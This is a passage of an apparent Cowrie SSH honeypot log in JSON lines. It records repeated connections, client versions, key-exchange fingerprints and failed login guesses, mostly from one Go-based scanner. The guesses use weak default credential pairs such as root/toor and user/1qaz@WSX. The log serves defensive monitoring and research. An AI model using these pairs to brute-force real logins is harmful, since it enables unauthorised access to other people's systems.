hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:54.855282Z","src_ip":"45.156.87.147","session":"133d108fc1cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:55.164732Z","src_ip":"45.156.87.147","session":"133d108fc1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:56.250174Z","src_ip":"45.156.87.147","session":"133d108fc1cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51424,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f18143d038","protocol":"ssh","message":"New connection: 45.156.87.147:51424 (10.17.0.5:22) [session: 46f18143d038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:00.753156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:00.757453Z","src_ip":"45.156.87.147","session":"46f18143d038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:00.843158Z","src_ip":"45.156.87.147","session":"46f18143d038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:01.216843Z","src_ip":"45.156.87.147","session":"46f18143d038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:02.301100Z","src_ip":"45.156.87.147","session":"46f18143d038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51440,"dst_ip":"10.17.0.5","dst_port":22,"session":"da8dd6d5b853","protocol":"ssh","message":"New connection: 45.156.87.147:51440 (10.17.0.5:22) [session: da8dd6d5b853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:06.913424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:06.918145Z","src_ip":"45.156.87.147","session":"da8dd6d5b853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:07.011795Z","src_ip":"45.156.87.147","session":"da8dd6d5b853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:07.276859Z","src_ip":"45.156.87.147","session":"da8dd6d5b853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:08.370178Z","src_ip":"45.156.87.147","session":"da8dd6d5b853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54650,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e7c3cdf9d6","protocol":"ssh","message":"New connection: 45.156.87.147:54650 (10.17.0.5:22) [session: 92e7c3cdf9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:12.997069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:13.000876Z","src_ip":"45.156.87.147","session":"92e7c3cdf9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:13.083324Z","src_ip":"45.156.87.147","session":"92e7c3cdf9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:13.343761Z","src_ip":"45.156.87.147","session":"92e7c3cdf9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:14.427670Z","src_ip":"45.156.87.147","session":"92e7c3cdf9d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54662,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b4cdfa7f2a","protocol":"ssh","message":"New connection: 45.156.87.147:54662 (10.17.0.5:22) [session: d9b4cdfa7f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:19.056046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:19.060488Z","src_ip":"45.156.87.147","session":"d9b4cdfa7f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:19.143394Z","src_ip":"45.156.87.147","session":"d9b4cdfa7f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:19.397523Z","src_ip":"45.156.87.147","session":"d9b4cdfa7f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:20.486183Z","src_ip":"45.156.87.147","session":"d9b4cdfa7f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42926,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad293371449","protocol":"ssh","message":"New connection: 45.156.87.147:42926 (10.17.0.5:22) [session: fad293371449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:24.944648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:24.949711Z","src_ip":"45.156.87.147","session":"fad293371449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:25.034637Z","src_ip":"45.156.87.147","session":"fad293371449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:25.377404Z","src_ip":"45.156.87.147","session":"fad293371449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:26.462799Z","src_ip":"45.156.87.147","session":"fad293371449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51100,"dst_ip":"10.17.0.5","dst_port":22,"session":"935e0ad4cac8","protocol":"ssh","message":"New connection: 45.156.87.147:51100 (10.17.0.5:22) [session: 935e0ad4cac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.155451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.159120Z","src_ip":"45.156.87.147","session":"935e0ad4cac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.243543Z","src_ip":"45.156.87.147","session":"935e0ad4cac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":43272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d149d3caaf92","protocol":"ssh","message":"New connection: 103.189.235.114:43272 (159.203.135.109:22) [session: d149d3caaf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.338853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.342592Z","src_ip":"103.189.235.114","session":"d149d3caaf92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.492509Z","src_ip":"45.156.87.147","session":"935e0ad4cac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:31.592027Z","src_ip":"103.189.235.114","session":"d149d3caaf92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:32.581642Z","src_ip":"45.156.87.147","session":"935e0ad4cac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"signup","password":"123456","message":"login attempt [signup/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:32.623904Z","src_ip":"103.189.235.114","session":"d149d3caaf92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:33.876694Z","src_ip":"103.189.235.114","session":"d149d3caaf92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51104,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ebbf93dfa7","protocol":"ssh","message":"New connection: 45.156.87.147:51104 (10.17.0.5:22) [session: 72ebbf93dfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:37.499725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:37.503573Z","src_ip":"45.156.87.147","session":"72ebbf93dfa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:37.585356Z","src_ip":"45.156.87.147","session":"72ebbf93dfa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:37.838422Z","src_ip":"45.156.87.147","session":"72ebbf93dfa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.185.117.128","src_port":22760,"dst_ip":"10.17.0.5","dst_port":22,"session":"2413023370d4","protocol":"ssh","message":"New connection: 205.185.117.128:22760 (10.17.0.5:22) [session: 2413023370d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.069851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.073488Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
